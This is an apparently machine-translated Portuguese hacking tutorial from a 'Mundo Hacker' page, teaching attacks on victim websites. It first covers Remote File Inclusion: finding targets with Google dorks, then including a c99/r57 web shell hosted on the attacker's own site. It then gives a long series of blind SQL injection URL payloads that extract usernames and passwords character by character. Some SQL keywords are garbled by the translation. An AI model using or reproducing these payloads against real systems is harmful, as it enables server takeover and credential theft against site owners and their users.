URL:

Opção :




TUTORIAL REMOTE FILE INCLUSION

Hacker site usando RFI -&& Tutorial SQL Injection
 
O que é RFI ( Remote File Inclusion )
Remote File Inclusion (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites. Ele permite que um atacante para incluir um arquivo remoto, geralmente através de um script no servidor web. A vulnerabilidade ocorre devido ao uso de entrada fornecido pelo usuário , sem a devida validação . Isto pode levar a algo tão mínima quanto a saída do conteúdo do ficheiro, mas , dependendo da gravidade , para uma lista de alguns pode levar a :
 
* A execução de código no servidor web
* A execução de código no lado do cliente , tais como JavaScript , que pode levar a outros ataques , tais como cross site scripting ( XSS) .
* Denial of Service ( DoS)
* Roubo de dados / ManipulationRFI é uma vulnerabilidade muito incomum devido a correções excessivas e atualizações em sites.
 
S0 aqui vamos nós me____ _follow ! !
 
Encontrar um site vulnerável usando o Google Dorks e Verificação de vulnerabilidade
Aqui i forneceu um link para encontrar sites vulneráveis ​​utilizando o Google Dorks Para RFI
 
Agora, para testar se o nosso site é vulnerável a RFI ou não vamos uss o seguinte comando
 
* www.targetsite.com/index.php?page=www.google.com *
 
Suponha que o nosso site é alvo * www.aabbcc.com * . Assim, para verificar a nossa url será algo como Diz
 
* www.aabbcc.com/v2/index.php?page=http://www.google.com *
 
Se depois de executar o comando a página inicial do google mostra -se , em seguida, em seguida, o site é vulnerável a este ataque se não chegar , então o site não é vulnerável a RFI .
 
A exploração da vulnerabilidade
Para isso você terá que carregar o seu shell
 
Você vai precisar fazer upload de sua concha em formato . Txt ( shell.txt ) em vez do formato php . ( Shell.php ) . Eu recomendo que você use c99 , r57 , Locus , etc
 
Você terá que enviá-lo para qualquer site de hospedagem .
Então, depois de ter carregado o shell para o seu site , ele deve ficar assim .
 
http://www.oursite.com/shell.txt
 
Agora vem a adição do nosso shell para o site vítimas
 
Ok, uma vez que estamos na página vulnerável (* www.aabbcc.com/v2/index.php?page=http://www.google.com *)
teremos que substituir * " http://www.google.com **" * e incluir o nosso próprio arquivo ( no meu lugar o seu
(* www.oursite.com / shell.txt *)
 
Nosso novo link deve ficar assim .
 
* www.aabbcc.com/v2/index.php?page = ** www.oursite.com / shell.txt *
 
* NOTA -> * O ponto de interrogação (?) É importante. Se o site estava vulnerável agora você deve ver o seu shell incorporado para a página. Você pode, então, fazer o que quiser com ele. Às vezes " shell.txt ? " Pode não ser o suficiente, talvez seja necessário usar bytes nulos para que ele execute com sucesso. Se você receber um erro de " shell.txt ? " Tentar " shell.txt ? " .
 
** Ok, então nós carregado nosso shell com sucesso no site de destino e eu acho que todos vocês sabem que tudo o que você pode fazer depois de fazer o upload para o shell Sorriso local
 
Fonte : Madleets
 
---------------------------------
 
Eu vou estar usando o nosso exemplo
 
http://www.site.com/news.php?id=5
 
quando executarmos isso, vemos algumas páginas e artigos na página, fotos etc ...
 
depois, quando queremos testá-lo para cegos ataque de injeção SQL
 
http://www.site.com/news.php?id=5 e 1 = 1 < - este é sempre verdadeira
 
ea página carrega normalmente , isso é ok.
 
agora o verdadeiro teste
 
http://www.site.com/news.php?id=5 e 1 = 2 <- isso é falso
 
por isso, se algum texto, imagem ou algum conteúdo está faltando na página voltou depois que o site é vulrnable a injeção cego sql .
 
1 ) Obter a versão do MySQL
 
para obter a versão em ataque cego usamos substring
 
isto é
 
http://www.site.com/news.php?id=5 e substring ( @ @ version , 1,1) = 4
 
este deve retornar TRUE se a versão do MySQL é 4.
 
substituir 4 com 5, e se a consulta retornar TRUE então a versão é 5.
 
isto é
 
http://www.site.com/news.php?id=5 e substring ( @ @ version , 1,1) = 5
 
2) Teste se subselect funciona
 
quando select não funcionam, então usamos subselect
 
isto é
 
http://www.site.com/news.php?id=5 e (select 1) = 1
 
se carrega a página normalmente , em seguida, subselects trabalho.
 
então vamos ver se temos acesso a mysql.user
 
isto é
 
http://www.site.com/news.php?id=5 e (selecione uma das mysql.user limite de 0,1) = 1
 
se carrega a página normalmente temos acesso a mysql.user e depois podemos tirar alguma senha usign load_file () função e OUTFILE .
 
3). Confira os nomes de tabelas e colunas
 
Esta é a parte em que adivinhar é o melhor amigo de Sorriso
 
ou seja,
 
http://www.site.com/news.php?id=5 e (selecione um dos usuários limite de 0,1) = 1 ( com limite de 0,1 nossa consulta aqui retorna uma linha de dados , causa subselect retorna apenas 1 linha, isto é muito importante . )
 
em seguida, se a página carrega normalmente, sem conteúdo ausente , os usuários de mesa saídas.
se você conseguir FALSE ( algum artigo em falta) , basta alterar o nome da tabela até acho que o caminho certo Sorriso
 
digamos que descobrimos que o nome da tabela é que os usuários , agora o que precisamos é o nome da coluna.
 
o mesmo nome da tabela , começamos adivinhação. Como eu disse antes de tentar os nomes comuns para as colunas .
 
isto é
 
http://www.site.com/news.php?id=5 e (select substring ( concat ( 1 , password ), 1,1 ) de usuários limite de 0,1) = 1
 
se a página carrega normalmente sabemos que nome da coluna é a senha ( se conseguirmos falso tente nomes comuns ou apenas acho)
 
aqui nós fundir um com a senha coluna, substring retorna o primeiro caractere ( , 1,1)
 
4). Extrair dados do banco de dados
 
encontramos usuários Quadro I colunas usuário senha por isso vai puxar caracteres a partir daí.
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 80
 
ok isso aqui puxa o primeiro caractere da primeira usuário na tabela de usuários .
 
substring aqui retorna primeiro caractere e um caractere de comprimento . ascii () que converte um caractere em valor ascii
 
e , em seguida, compará-lo com maior simbol , então > .
 
por isso, se o caractere maior que 80 , a página é carregada ascii normalmente. (VERDADEIRO)
 
que continuar tentando até chegarmos falsa .
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 95
 
obtemos TRUE, manter incrementando
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 98
 
VERDADEIRO novamente , maior
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 99
 
FALSO !
 
Assim, o primeiro personagem em nome do usuário é char ( 99) . Usando o conversor de ascii sabemos que char ( 99) é a letra 'c'.
 
então vamos ver o segundo personagem .
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 2,1) ) > 99
 
Note que eu estou mudado, para 1,1 , 2,1 para obter o segundo personagem. ( agora ele retorna o segundo personagem , um personagem de tamanho)
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 99
 
TRUE, a página carrega normalmente , mais elevados.
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 107
 
FALSE , menor número .
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 104
 
TRUE, superior.
 
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 105
 
FALSO !
 
sabemos que o segundo personagem é char ( 105 ), e que é 'i' . Temos ' ci ' até agora
 
de modo a manter incrementando até chegar ao fim. (quando a > 0 retorna false sabemos que temos chegar ao final ) .
 
Existem algumas ferramentas para Blind SQL Injection , eu acho que SqlMap é o melhor, mas estou fazendo tudo manualmente ,
 
USE A SUA MELHOR TECNICA E ESCOHA DE  SQL INJECTOR .
 
[ BY: MUNDO HACKER ]

Compartilhar usando :

DEIXE SEU COMENTARIO :

Comentarios - Mundo Hacker | Facebook-copyright(™ © ®)